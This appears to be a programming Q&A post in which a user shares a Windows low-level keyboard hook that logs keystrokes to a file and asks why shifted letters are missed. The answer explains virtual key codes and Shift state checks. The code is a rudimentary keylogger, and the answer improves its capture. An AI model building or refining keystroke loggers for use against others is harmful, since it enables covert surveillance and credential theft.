Keyboard key ... does not receive lower or upper case characters
The function below writes "0", "z" and "1" ok ... but does not capture "Z" (shift-z) ... any help would be appreciated ...
__declspec(dllexport)
LRESULT CALLBACK HookProc (UINT nCode, WPARAM wParam, LPARAM lParam)
{
if ((nCode == HC_ACTION) && (wParam == WM_KEYUP))
{
// This Struct gets infos on typed key
KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);
// Bytes written counter for WriteFile()
DWORD Counter;
wchar_t Logger[1];
switch (hookstruct.vkCode)
{
case 060: Logger[0] = L'0'; break;
case 061: Logger[0] = L'1'; break;
case 90: Logger[0] = L'z'; break;
case 116: Logger[0] = L'Z'; break;
}
// Opening of a logfile. Creating it if it does not exists
HANDLE hFile = CreateFile(L"C:\\logfile.txt", GENERIC_WRITE,
FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// put the file pointer to the end
SetFilePointer(hFile,NULL,NULL,FILE_END);
// Write the hFile typed in logfile
WriteFile(hFile,&Logger,sizeof(Logger),&Counter,NULL);
//WriteFile(hFile,&hookstruct.vkCode,sizeof(hookstruct.vkCode),&Counter,NULL);
// Close the file
CloseHandle(hFile);
}
}
source to share
The keyboard is not sending characters. He sends the keys. If you enter z or Z, you are still pressing the same key and that key has the same VK code both times.
You should also receive a notification when you press or release the Shift key. You can use these notifications to translate keystrokes to characters. The blocking state will also be important for this. You may also be worried about dead keys.
You can check if the Shift key is pressed. GetAsyncKeyState
will tell you about the state of the key right now, and GetKeyState
will tell you the state of the key from the last message removed from the message queue.
source to share